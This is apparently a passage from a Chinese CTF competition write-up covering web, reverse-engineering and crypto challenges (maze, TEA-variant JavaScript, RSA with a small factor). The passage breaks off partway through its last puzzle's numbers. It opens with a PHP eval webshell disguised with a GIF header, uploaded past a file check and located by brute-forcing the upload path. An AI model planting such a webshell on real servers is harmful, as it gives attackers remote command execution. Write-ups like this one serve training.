(这是GIF文件的文件头)即可绕过,编写的木马文件为:
1 GIF89a<?php eval ($_REQUEST ['cmd' ]);?>
保存为shell.php
,上传。
成功上传,按照源码,此时的木马文件应该位于/uploads/?????/shell.php
,中间文件夹的名字因为是随机生成的,每次并不相同,好在范围比较小,可以进行爆破。
此处使用BurpSuite进行爆破,使用python编写脚本亦可。
可以看到/uploads/3d2f8900f2e49c02b481c2f717aa9020/shell.php
的响应结果和其他的不同,成功爆破出上传路径。
直接读取flag:
Reverse FlagChecker 题目描述
出题人: D3f4ult 难度: 困难
D3f4ult想到了一个flag,你猜对了就告诉你。
Tips:得到的字符串包裹上flag{}
题解
需要题解联系D3f4ult
maze 题目描述
出题人: BR 难度: 普通
走迷宫,这还不简简单单有手就行
PS:flag为迷宫从起点到终点的最短路径,执行附件给出的程序使其输出”you win!!!”,则表示该解正确,将该解用XAUTCTF{}包裹,示例flag:XAUTCTF{WWWASSDDD}
题解
下载附件,先尝试执行一下:
没得到什么有用的信息,直接拖入附件到IDA中进行分析吧。
查看main函数,分析代码逻辑:
首先需要我们输入一个字符串,记作s,在接下来的while循环中遍历该字符串的每个字符。
其中87,83,65,68分别是W,S,A,D的ascii值,0则是\0
的ascii值,如果s这个字符串中不是这几种字符,会触发”invaild character!”程序结束。
在接下来的while循环中还有三个判断:
0xA
是16进制写法,A表示10进制的11,即该次if条件句判断current_i
与current_j
的值是否大于11,如果大于则输出”You’re out of bounds!”表示越界,程序中断;
在maze这个数组中,如果maze_map[11 * current_i + current_j]==1
,则输出”You hit the wall!“表示撞墙了,程序中断;
如果current_i==9
并且current==10
则中断while循环,进行最后的判断:如果输入的字符串长度大于0x16
(即10进制的22),则输出”Correct, but not the shortest!”表示答案正确,但不是最短,否则输出”you win!!!”表示成功。
在整个过程中,有四个变量需要关注:
maze_map:根据名字推测为迷宫地图
current_i与current_j:常与maze_map组合使用,且输入的字符串会影响其值的变化,推测为表示当前所处位置;
s:一个需要用户输入的字符串,仅能由WASD和\0
组成,长度应该不超过22。
查看maze_map:
shift+e提取值
其长度为121,仅由01组成,结合while循环中的第二个判断,推测1表示墙壁,0表示路,且应该是一个11*11的迷宫,将值提取处理一下得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 _DWORD maze_map[121 ] = { 1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 , 0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 , 1 ,0 ,1 ,1 ,1 ,0 ,1 ,0 ,1 ,0 ,1 , 1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,1 , 1 ,0 ,1 ,0 ,1 ,1 ,1 ,1 ,1 ,0 ,1 , 1 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 , 1 ,0 ,1 ,1 ,1 ,0 ,1 ,1 ,1 ,0 ,1 , 1 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 , 1 ,0 ,1 ,0 ,1 ,1 ,1 ,0 ,1 ,1 ,1 , 1 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 , 1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 };
很明显可以看由(1,0)和(9,10)两个与外界相通的点,(9,10)为终点,则很明显(1,0)为起点了。
如果maze_map确实为一个11*11的二维数组,那么maze_map[11 * current_i + current_j]
等效于maze_map[current_i][current_j]
。
如果输入W,则current_i--
表示向上,输入S则current_i++
表示向下,输入A则current_j--
表示向左,输入D则current_j++
表示向右。
此题迷宫较小可直接对着二维数组进行分析,走迷宫,可以得到路径为DSSDDSSDDSSAASSDDDDDDD
当然也可以用脚本转成图像更直观体现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from PIL import Imagedef array_to_image (array, block_size=10 ): width = len (array[0 ]) * block_size height = len (array) * block_size img = Image.new('RGB' , (width, height), 'white' ) for y, row in enumerate (array): for x, val in enumerate (row): color = 'black' if val == 1 else 'white' left = x * block_size top = y * block_size right = left + block_size bottom = top + block_size for i in range (left, right): for j in range (top, bottom): img.putpixel((i, j), (0 , 0 , 0 ) if color == 'black' else (255 , 255 , 255 )) return img array = [ [1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ], [0 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 ], [1 , 0 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1 ], [1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 1 ], [1 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 1 , 0 , 1 ], [1 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 1 ], [1 , 0 , 1 , 1 , 1 , 0 , 1 , 1 , 1 , 0 , 1 ], [1 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 ], [1 , 0 , 1 , 0 , 1 , 1 , 1 , 0 , 1 , 1 , 1 ], [1 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ], [1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] ] image = array_to_image(array) image.show() image.save('maze.png' )
得到的迷宫为:
解为:
flag为XAUTCTF{DSSDDSSDDSSAASSDDDDDDD}
附件原C语言代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <string.h> int maze_map[11 ][11 ] = { {1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 }, {0 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 }, {1 , 0 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1 }, {1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 1 }, {1 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 1 , 0 , 1 }, {1 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 1 }, {1 , 0 , 1 , 1 , 1 , 0 , 1 , 1 , 1 , 0 , 1 }, {1 , 0 , 1 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 1 }, {1 , 0 , 1 , 0 , 1 , 1 , 1 , 0 , 1 , 1 , 1 }, {1 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 }, {1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 } }; int x = 0 ;int current_i = 1 ;int current_j = 0 ;int main () { char solve[100 ]; printf ("Enter your solution:>>" ); scanf ("%s" , solve); while (solve[x] != '\0' ) { if (solve[x] == 'W' ){ current_i--; } else if (solve[x] == 'S' ){ current_i++; } else if (solve[x] == 'A' ){ current_j--; } else if (solve[x] == 'D' ){ current_j++; } else { printf ("invalid character!" ); return 0 ; } if (current_i < 0 || current_i > 10 || current_j < 0 || current_j > 10 ) { printf ("You're out of bounds!" ); return 0 ; } if (maze_map[current_i][current_j] == 1 ) { printf ("You hit the wall!" ); return 0 ; } if (current_i == 9 && current_j == 10 ) { if (strlen (solve) <= 22 ){ printf ("you win!!!" ); }else { printf ("Correct, but not the shortest!" ); } return 0 ; } x++; } printf ("failed!" ); return 0 ; }
可参考博客:ctf逆向-迷宫题型总结(思路巨清晰详细) - 先知社区
Try to find me 题目描述
出题人: BR 难度: 签到
想要flag?不给你,除非你能找到我!
题解
直接拖入IDA,按SHIFT+F12即可看见flag:
strings命令亦可:
三相之力 题目描述
出题人: BR 难度: 简单
flag被分成了三份!!!该如何才能复原它?!
题解
拖入IDA分析代码逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __fastcall main (int argc, const char **argv, const char **envp) { size_t v3; int i; int j; char *s1; _DWORD v8[8 ]; char s[1032 ]; unsigned __int64 v10; v10 = __readfsqword(0x28u ); printf ("Please enter 'The Power of Misc':>>" ); __isoc99_scanf("%1023s" , s); v3 = strlen (s); s1 = (char *)base64_encode(s, v3); if ( strcmp (s1, "JwxIIwaBGXbC8z0e7FNN" ) ) goto LABEL_2; puts ("Right!" ); printf ("Please enter 'The Power of Crypto':>>" ); __isoc99_scanf("%1023s" , s); for ( i = 0 ; s[i]; s[i++] += 7 ) ; if ( !strcmp (s, "fWOhaLf" ) ) { puts ("Right!!" ); v8[0 ] = 56 ; v8[1 ] = 110 ; v8[2 ] = 108 ; v8[3 ] = 29 ; v8[4 ] = 59 ; v8[5 ] = 35 ; printf ("Please enter 'The Power of Reverse':>>" ); __isoc99_scanf("%1023s" , s); for ( j = 0 ; s[j] && j <= 5 ; ++j ) { s[j] ^= 0x5Eu ; if ( s[j] != v8[j] ) { puts ("failed..." ); return 0 ; } } if ( strlen (s) == 6 ) puts ("You have successfully gathered the power of three phases!!!" ); else puts ("failed..." ); return 0 ; } else { LABEL_2: puts ("failed..." ); return 0 ; } }
flag被分成了三段,首先第一部分”The Power of Misc”可以看出来是base64编码,但是解码出来是乱码:
说明应该是换表base64,找到表为NOPQwxyz0RSTUaDEFGHABIJKL789+MijklmnoVWXYZpqbc2345defghCrstuv16/
解出第一部分:
第二部分”The Power of Crypto”则是将输入的字符的ascii码加7,移位后为fWOhaLf
一个小脚本就可以转回去:
1 2 3 4 5 string = "fWOhaLf" for c in string: c = chr (ord (c) - 7 ) print (c, end="" )
第三部分”The Power of Reverse”就是异或了0x5E
,即字符^
同样的,写个小脚本就好:
1 2 3 4 5 data = [56 ,110 ,108 ,29 ,59 ,35 ] for i in data: c = chr (i ^ ord ('^' )) print (c,end="" )
拼接一下得到flag为XAUTCTF{7hr3e_PHaZE_f02Ce}
JavaScript 题目描述
出题人: BR 难度: 中等
BR在学习爬虫,这一天他被一个网站的js代码所难住了。
这个网站可以获取到flag,但是flag被加密了!
不懂reverse的BR反手就把这个问题丢给了你!
你看着眼前的js代码和密文陷入了沉思……
题解
题目给出的附件是一个经过简单混淆的javascript代码:
1 function Encrypt (_0x4876d5, _0x38d487 ) { let _0x2613c2 = keyToUint32Array (_0x38d487); let _0x3b1e6c = stringToUint32Array (_0x4876d5); let _0x3a6497 = _0x3b1e6c['length' ]; const _0x4d860d = 0x9e3779b9 ; let _0x17d9bd = 0x0 ; for (let _0x2cf0ab = 0x0 ; _0x2cf0ab < 0x20 ; _0x2cf0ab++) { _0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0 ; for (let _0x198235 = 0x0 ; _0x198235 < _0x3a6497; _0x198235 += 0x2 ) { _0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1 ] << 0x4 ) + _0x2613c2[0x0 ] ^ _0x3b1e6c[_0x198235 + 0x1 ] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1 ] >>> 0x5 ) + _0x2613c2[0x1 ]) >>> 0x0 ; _0x3b1e6c[_0x198235 + 0x1 ] = _0x3b1e6c[_0x198235 + 0x1 ] + ((_0x3b1e6c[_0x198235] << 0x4 ) + _0x2613c2[0x2 ] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5 ) + _0x2613c2[0x3 ]) >>> 0x0 ; } } return uint32ArrayToBase64 (_0x3b1e6c); } function stringToUint32Array (_0x5f4e70 ) { let _0x768fff = new ArrayBuffer ((_0x5f4e70['length' ] + 0x3 & ~0x3 ) * 0x4 ); let _0x34c80a = new Uint8Array (_0x768fff); for (let _0x53d00e = 0x0 ; _0x53d00e < _0x5f4e70['length' ]; _0x53d00e++) { _0x34c80a[_0x53d00e] = _0x5f4e70['charCodeAt' ](_0x53d00e); } let _0x120412 = new Uint32Array (_0x768fff); return Array ['from' ](_0x120412); } function uint32ArrayToString (_0x1e70bb ) { let _0x573d6d = new ArrayBuffer (_0x1e70bb['length' ] * 0x4 ); let _0x46894d = new Uint32Array (_0x573d6d); _0x46894d['set' ](_0x1e70bb); return String ['fromCharCode' ](...new Uint8Array (_0x573d6d))['replace' ](/\0+$/ , '' ); } function keyToUint32Array (_0x549d83 ) { let _0x4b1c55 = _0x549d83['padEnd' ](0x10 , '\x00' )['slice' ](0x0 , 0x10 ); return stringToUint32Array (_0x4b1c55); } function uint32ArrayToBase64 (_0x39ebd ) { let _0x1e90f8 = new ArrayBuffer (_0x39ebd['length' ] * 0x4 ); let _0x3fd077 = new Uint32Array (_0x1e90f8); _0x3fd077['set' ](_0x39ebd); return btoa (String ['fromCharCode' ](...new Uint8Array (_0x1e90f8))); } function base64ToUint32Array (_0x581683 ) { let _0x134468 = atob (_0x581683); let _0x477fb6 = new ArrayBuffer (_0x134468['length' ]); let _0x39a17a = new Uint8Array (_0x477fb6); for (let _0x4b9cde = 0x0 ; _0x4b9cde < _0x134468['length' ]; _0x4b9cde++) { _0x39a17a[_0x4b9cde] = _0x134468['charCodeAt' ](_0x4b9cde); } let _0x178fce = new Uint32Array (_0x477fb6); return Array ['from' ](_0x178fce); } const key = 'XAUTCTF6666666BR' ; const plaintext = 'XAUTCTF{this_is_a_sample}' ; const encrypted = Encrypt (plaintext, key); console ['log' ]('加密结果:' , encrypted);
简单格式化处理一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 function Encrypt (_0x4876d5, _0x38d487 ) { let _0x2613c2 = keyToUint32Array (_0x38d487); let _0x3b1e6c = stringToUint32Array (_0x4876d5); let _0x3a6497 = _0x3b1e6c['length' ]; const _0x4d860d = 0x9e3779b9 ; let _0x17d9bd = 0x0 ; for (let _0x2cf0ab = 0x0 ; _0x2cf0ab < 0x20 ; _0x2cf0ab++) { _0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0 ; for (let _0x198235 = 0x0 ; _0x198235 < _0x3a6497; _0x198235 += 0x2 ) { _0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1 ] << 0x4 ) + _0x2613c2[0x0 ] ^ _0x3b1e6c[_0x198235 + 0x1 ] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1 ] >>> 0x5 ) + _0x2613c2[0x1 ]) >>> 0x0 ; _0x3b1e6c[_0x198235 + 0x1 ] = _0x3b1e6c[_0x198235 + 0x1 ] + ((_0x3b1e6c[_0x198235] << 0x4 ) + _0x2613c2[0x2 ] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5 ) + _0x2613c2[0x3 ]) >>> 0x0 ; } } return uint32ArrayToBase64 (_0x3b1e6c); } function stringToUint32Array (_0x5f4e70 ) { let _0x768fff = new ArrayBuffer ((_0x5f4e70['length' ] + 0x3 & ~0x3 ) * 0x4 ); let _0x34c80a = new Uint8Array (_0x768fff); for (let _0x53d00e = 0x0 ; _0x53d00e < _0x5f4e70['length' ]; _0x53d00e++) { _0x34c80a[_0x53d00e] = _0x5f4e70['charCodeAt' ](_0x53d00e); } let _0x120412 = new Uint32Array (_0x768fff); return Array ['from' ](_0x120412); } function uint32ArrayToString (_0x1e70bb ) { let _0x573d6d = new ArrayBuffer (_0x1e70bb['length' ] * 0x4 ); let _0x46894d = new Uint32Array (_0x573d6d); _0x46894d['set' ](_0x1e70bb); return String ['fromCharCode' ](...new Uint8Array (_0x573d6d))['replace' ](/\0+$/ , '' ); } function keyToUint32Array (_0x549d83 ) { let _0x4b1c55 = _0x549d83['padEnd' ](0x10 , '\x00' )['slice' ](0x0 , 0x10 ); return stringToUint32Array (_0x4b1c55); } function uint32ArrayToBase64 (_0x39ebd ) { let _0x1e90f8 = new ArrayBuffer (_0x39ebd['length' ] * 0x4 ); let _0x3fd077 = new Uint32Array (_0x1e90f8); _0x3fd077['set' ](_0x39ebd); return btoa (String ['fromCharCode' ](...new Uint8Array (_0x1e90f8))); } function base64ToUint32Array (_0x581683 ) { let _0x134468 = atob (_0x581683); let _0x477fb6 = new ArrayBuffer (_0x134468['length' ]); let _0x39a17a = new Uint8Array (_0x477fb6); for (let _0x4b9cde = 0x0 ; _0x4b9cde < _0x134468['length' ]; _0x4b9cde++) { _0x39a17a[_0x4b9cde] = _0x134468['charCodeAt' ](_0x4b9cde); } let _0x178fce = new Uint32Array (_0x477fb6); return Array ['from' ](_0x178fce); } const key = 'XAUTCTF6666666BR' ;const plaintext = 'XAUTCTF{this_is_a_sample}' ;const encrypted = Encrypt (plaintext, key);console ['log' ]('加密结果:' , encrypted);
只是重命名混淆了下变量名,我们主要看看Encrypt这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function Encrypt (_0x4876d5, _0x38d487 ) { let _0x2613c2 = keyToUint32Array (_0x38d487); let _0x3b1e6c = stringToUint32Array (_0x4876d5); let _0x3a6497 = _0x3b1e6c['length' ]; const _0x4d860d = 0x9e3779b9 ; let _0x17d9bd = 0x0 ; for (let _0x2cf0ab = 0x0 ; _0x2cf0ab < 0x20 ; _0x2cf0ab++) { _0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0 ; for (let _0x198235 = 0x0 ; _0x198235 < _0x3a6497; _0x198235 += 0x2 ) { _0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1 ] << 0x4 ) + _0x2613c2[0x0 ] ^ _0x3b1e6c[_0x198235 + 0x1 ] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1 ] >>> 0x5 ) + _0x2613c2[0x1 ]) >>> 0x0 ; _0x3b1e6c[_0x198235 + 0x1 ] = _0x3b1e6c[_0x198235 + 0x1 ] + ((_0x3b1e6c[_0x198235] << 0x4 ) + _0x2613c2[0x2 ] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5 ) + _0x2613c2[0x3 ]) >>> 0x0 ; } } return uint32ArrayToBase64 (_0x3b1e6c); }
根据函数调用来看,不难看出_0x4876d5
代表plaintext
,_0x38d487
代表key
,_0x2cf0ab
和_0x198235
显然是循环变量,用i
和j
代替,_0x2613c2
是由key转化来的数组,用k
代替,_0x3b1e6c
是由_0x4876d5
转化来的数组,用v
代替,_0x17d9bd
是一个在循环中不断累加的变量,记作num
,_0x4d860d
则是个常量,就记作e
,_0x3a6497
是plaintext
的长度,就用length
表示,替换得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function Encrypt (plaintext, key ) { let k = keyToUint32Array (key); let v = stringToUint32Array (plaintext); let length = v['length' ]; const e = 0x9e3779b9 ; let num = 0x0 ; for (let i = 0x0 ; i < 0x20 ; i++) { num = num + e >>> 0x0 ; for (let j = 0x0 ; j < length; j += 0x2 ) { v[j] = v[j] + ((v[j + 0x1 ] << 0x4 ) + k[0x0 ] ^ v[j + 0x1 ] - num ^ (v[j + 0x1 ] >>> 0x5 ) + k[0x1 ]) >>> 0x0 ; v[j + 0x1 ] = v[j + 0x1 ] + ((v[j] << 0x4 ) + k[0x2 ] ^ v[j] - num ^ (v[j] >>> 0x5 ) + k[0x3 ]) >>> 0x0 ; } } return uint32ArrayToBase64 (v); }
存在明显特征,就是一个有略微修改的tea加密算法,可参考学习tea 加密解密算法(面向ctf-reverse使用,光速学会tea逆向套路)_tea加密-CSDN博客
经典的tea加密应该这样的:
1 2 v[j] = v[j] + ((v[j + 0x1 ] << 0x4 ) + k[0x0 ] ^ v[j + 0x1 ] + num ^ (v[j + 0x1 ] >>> 0x5 ) + k[0x1 ]) >>> 0x0 ; v[j + 0x1 ] = v[j + 0x1 ] + ((v[j] << 0x4 ) + k[0x2 ] ^ v[j] + num ^ (v[j] >>> 0x5 ) + k[0x3 ]) >>> 0x0 ;
本题将加改为减,变成:
1 2 v[j] = v[j] + ((v[j + 0x1 ] << 0x4 ) + k[0x0 ] ^ v[j + 0x1 ] - num ^ (v[j + 0x1 ] >>> 0x5 ) + k[0x1 ]) >>> 0x0 ; v[j + 0x1 ] = v[j + 0x1 ] + ((v[j] << 0x4 ) + k[0x2 ] ^ v[j] - num ^ (v[j] >>> 0x5 ) + k[0x3 ]) >>> 0x0 ;
这样的形式还是不太好看出来,可以再换一下形式,看着更顺眼些了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function Encrypt (plaintext, key ) { let k = keyToUint32Array (key); let v = stringToUint32Array (plaintext); let n = v.length ; const delta = 0x9e3779b9 ; let sum = 0 ; for (let i = 0 ; i < 32 ; i++) { sum = (sum + delta) >>> 0 ; for (let j = 0 ; j < n; j += 2 ) { v[j] = (v[j] + (((v[j + 1 ] << 4 ) + k[0 ]) ^ (v[j + 1 ] - sum) ^ ((v[j + 1 ] >>> 5 ) + k[1 ]))) >>> 0 ; v[j + 1 ] = (v[j + 1 ] + (((v[j] << 4 ) + k[2 ]) ^ (v[j] - sum) ^ ((v[j] >>> 5 ) + k[3 ]))) >>> 0 ; } } return uint32ArrayToBase64 (v); }
对应解密算法为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function Dncrypt (ciphertext, key ) { let k = keyToUint32Array (key); let v = base64ToUint32Array (ciphertext); let n = v.length ; const delta = 0x9e3779b9 ; let sum = (delta * 32 ) >>> 0 ; for (let i = 0 ; i < 32 ; i++) { for (let j = n - 2 ; j >= 0 ; j -= 2 ) { v[j + 1 ] = (v[j + 1 ] - (((v[j] << 4 ) + k[2 ]) ^ (v[j] - sum) ^ ((v[j] >>> 5 ) + k[3 ]))) >>> 0 ; v[j] = (v[j] - (((v[j + 1 ] << 4 ) + k[0 ]) ^ (v[j + 1 ] - sum) ^ ((v[j + 1 ] >>> 5 ) + k[1 ]))) >>> 0 ; } sum = (sum - delta) >>> 0 ; } return uint32ArrayToString (v); }
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 function Encrypt (plaintext, key ) { let k = keyToUint32Array (key); let v = stringToUint32Array (plaintext); let n = v.length ; const delta = 0x9e3779b9 ; let sum = 0 ; for (let i = 0 ; i < 32 ; i++) { sum = (sum + delta) >>> 0 ; for (let j = 0 ; j < n; j += 2 ) { v[j] = (v[j] + (((v[j + 1 ] << 4 ) + k[0 ]) ^ (v[j + 1 ] - sum) ^ ((v[j + 1 ] >>> 5 ) + k[1 ]))) >>> 0 ; v[j + 1 ] = (v[j + 1 ] + (((v[j] << 4 ) + k[2 ]) ^ (v[j] - sum) ^ ((v[j] >>> 5 ) + k[3 ]))) >>> 0 ; } } return uint32ArrayToBase64 (v); } function Dncrypt (ciphertext, key ) { let k = keyToUint32Array (key); let v = base64ToUint32Array (ciphertext); let n = v.length ; const delta = 0x9e3779b9 ; let sum = (delta * 32 ) >>> 0 ; for (let i = 0 ; i < 32 ; i++) { for (let j = n - 2 ; j >= 0 ; j -= 2 ) { v[j + 1 ] = (v[j + 1 ] - (((v[j] << 4 ) + k[2 ]) ^ (v[j] - sum) ^ ((v[j] >>> 5 ) + k[3 ]))) >>> 0 ; v[j] = (v[j] - (((v[j + 1 ] << 4 ) + k[0 ]) ^ (v[j + 1 ] - sum) ^ ((v[j + 1 ] >>> 5 ) + k[1 ]))) >>> 0 ; } sum = (sum - delta) >>> 0 ; } return uint32ArrayToString (v); } function stringToUint32Array (str ) { let buffer = new ArrayBuffer (((str.length + 3 ) & ~3 ) * 4 ); let view = new Uint8Array (buffer); for (let i = 0 ; i < str.length ; i++) { view[i] = str.charCodeAt (i); } let u32Array = new Uint32Array (buffer); return Array .from (u32Array); } function uint32ArrayToString (arr ) { let buffer = new ArrayBuffer (arr.length * 4 ); let u32View = new Uint32Array (buffer); u32View.set (arr); return String .fromCharCode (...new Uint8Array (buffer)).replace (/\0+$/ , '' ); } function keyToUint32Array (key ) { let paddedKey = key.padEnd (16 , '\0' ).slice (0 , 16 ); return stringToUint32Array (paddedKey); } function uint32ArrayToBase64 (arr ) { let buffer = new ArrayBuffer (arr.length * 4 ); let u32View = new Uint32Array (buffer); u32View.set (arr); return btoa (String .fromCharCode (...new Uint8Array (buffer))); } function base64ToUint32Array (base64 ) { let binaryString = atob (base64); let buffer = new ArrayBuffer (binaryString.length ); let view = new Uint8Array (buffer); for (let i = 0 ; i < binaryString.length ; i++) { view[i] = binaryString.charCodeAt (i); } let u32Array = new Uint32Array (buffer); return Array .from (u32Array); } const key = "XAUTCTF6666666BR" ;const plaintext = "AOEQT5wdHKvDcQPkkUsaFA1xoJNrmjDM9iJGGTrrALQaR5TSym9cVN4CMWfviErzxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhc=" ;const decrypted = Dncrypt (plaintext, key);console .log ("解密结果:" , decrypted);
Crypto private key 题目描述
出题人: BR 难度: 普通
众所周知,公钥加密,私钥解密,那么没有私钥,这怎么解?
题解
题目给到代码
1 2 3 4 5 6 7 8 from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPdef enc (flag ): rsakey = RSA.importKey(open ('public_key.pem' , 'r' ).read()) rsakey = PKCS1_OAEP.new(rsakey) c = rsakey.encrypt(flag) with open ("flag.enc" , "wb" ) as fp: fp.write(c)
一个朴实无华的加密过程
其中flag.enc就是被public_key.pem公钥加密的flag
这时我们想到用私钥来解密,但是题目没有给到私钥,因此需要我们自己来生成一个私钥
私钥的生成需要n, e, d, p, q
通过对公钥进行提取我们可以获得n和e,p和q则需要通过分解n来获得,d又可以由p与q计算得到
完整解密代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from cryptography.hazmat.primitives.asymmetric import rsaimport gmpy2from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPkey = RSA.importKey(open ('public_key.pem' , 'r' ).read()) n = int (key.n) e = int (key.e) print (n)print (e) p = 541 q = 5693324408981647776459067230365645473507146658322707679878165772211971926857402335974605611412434886675703030006155064020332300972661321569916884684211587 d = int (gmpy2.invert(e, (p-1 )*(q-1 ))) publickey = RSA.construct((n, e, d, p, q)) rsa = PKCS1_OAEP.new(publickey) m = rsa.decrypt(open ('flag.enc' ,'rb' ).read()) print (m)
开心解方程 题目描述
出题人: BR 难度: 签到
解方程谁不会啊!我靠,这么大的数!
题解
下载附件得到代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import *from flag import real_flagimport randomdef get_random_number (): return random.randint(10 **1000 ,10 **1001 ) a = bytes_to_long(real_flag) b = get_random_number() c = get_random_number() d = get_random_number() n1 = a*b n2 = b*c n3 = c*d print (f"n1 = {n1} " )print (f"n2 = {n2} " )print (f"n3 = {n3} " )print (f"d = {d} " )""" n1 = 66045023993762767647242315275308876286649365291217503549902618148001055600837022713282069278294139902007828665299975891709141384342029428818368233779456718169837800519061495614455266698646033095374249294950476237868464929160829338247617019650720386071747841563053142875198078814651522327972628160281265970330976279743604849662791159837738526278277804680018800310344237561891670714267422167030239697292228352005490559316629402219654671826647258405005330060768620619801431339140844543743546141947826432699292853951849820803407732079211059907138637996805917396616886186331056392904534431539573143000039333074217827378203023213727182933822404231273878515223694690030696828022257662583963453718083703096060400947526828103727712197985948128656176265398780528680051014074367363757135311498467947501765974696818796857305793400931866930599659487334282645052632999648160834373981904533240911850451900220747740086671961000393504835019410391886465691868164395211894606769208890677518534623136224769033814232296694099251235641838645747668791623742241443998344435370538812516231728525148001841752921696848750 n2 = 1320555599487714080996044771745109086409124950193806115910044002171639132721369936242832350793080200151731581915533389367530841711349085311654859210708745168348139761175994308379008233352944795195337029075338491705223417989574046182393904858738777565509853429460260485779945219957452432288882759456841973743350958897759005840184935356935516353677399298947271240304110942678580581733243590953541428260608718550254028964807862266521437217496044696887150481438415810735591397935910573863686620039825142973597345028031192292214474693621914446259072409767541707238135552166962594482265307944904262622356821924062115483845191792169134692726081339767300737406933509657057434734295214281830711402527265191878673192096981687978442654546866046508586476256515448447811724411143277304139097556106638517758052946777603373414718743201041457262387388159970341161602413204816234240553296477562124049501381372017556520920586470701549545089935276803924008842264302810625461265377705801836445624439120595410039147084242300905693410555017365335530737466743139039924035032068579167676172084945497968079618527330264059524279485179524483046111493426596846285692408550381435997945232073832763443550596008177794944202693534077109186288822812097105682483066250943025890835561307754202362984369467279547412073663826807534256586945293235617054258815517181939040026079969202048794243981043255339273692894150669176924938335078841860602598371066015697457441400163743192636313066256712591757257494154994280331839805559187408397250773686866802818270549433199589628543682696970616778551521253364165555410491946329838745400060156090812855739048860203804808159394507270828085983711687051132928366501718966622880415453783762907053842805719073490304849577857363840727974548747309667095286171395631455414832082074931682010365020038631272891592002564580710824126596067472012197426483126969375110424700166659703938297489007306732474884651764478730965436145663198752419446509365022660147218357448783598847793577903599742398436141520668329522500 n3 = 